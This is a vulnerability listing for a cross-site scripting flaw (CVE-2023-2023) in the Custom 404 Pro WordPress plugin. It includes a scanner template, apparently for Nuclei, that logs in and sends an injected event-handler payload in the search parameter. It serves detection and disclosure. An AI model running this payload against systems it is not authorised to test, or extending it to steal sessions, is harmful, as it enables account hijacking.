CVE-2023-2023: Custom 404 Pro < 3.7.3 - Cross-Site Scripting

2025-08-01 Custom 404 Pro PoC Public

Description

Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2023-2023

info:
  name: Custom 404 Pro < 3.7.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Custom 404 Pro before 3.7.3 is susceptible to cross-site scripting via the search parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.7.3
  reference:
    - https://wpscan.com/vulnerability/8859843a-a8c2-4f7a-8372-67049d6ea317
    - https://wordpress.org/plugins/custom-404-pro/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2023
    - https://github.com/GREENHAT7/pxplan
    - https://github.com/thatformat/Hvv2023
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2023
    cwe-id: CWE-79
    epss-score: 0.0171
    epss-percentile: 0.7619
    cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: kunalnagar
    product: custom_404_pro
    framework: wordpress
  tags: cve2023,cve,wpscan,xss,wordpress,wp-plugin,authenticated,custom-404-pro,intrusive,kunalnagar,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(content_type_2, "text/html")
          - contains(body_2, "onanimationstart=alert(document.domain)//")
          - contains(body_2, "Custom 404 Pro")
        condition: and
# digest: 4b0a004830460221009683197a372aa926de6c5f55b0d0e89fb1469a8e06374c1fa80b92eb8723cc700221008e2c1ea3d6c3b975d6c20846356bfec1b3f1f196b319a01d9181ccc6570b7791:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities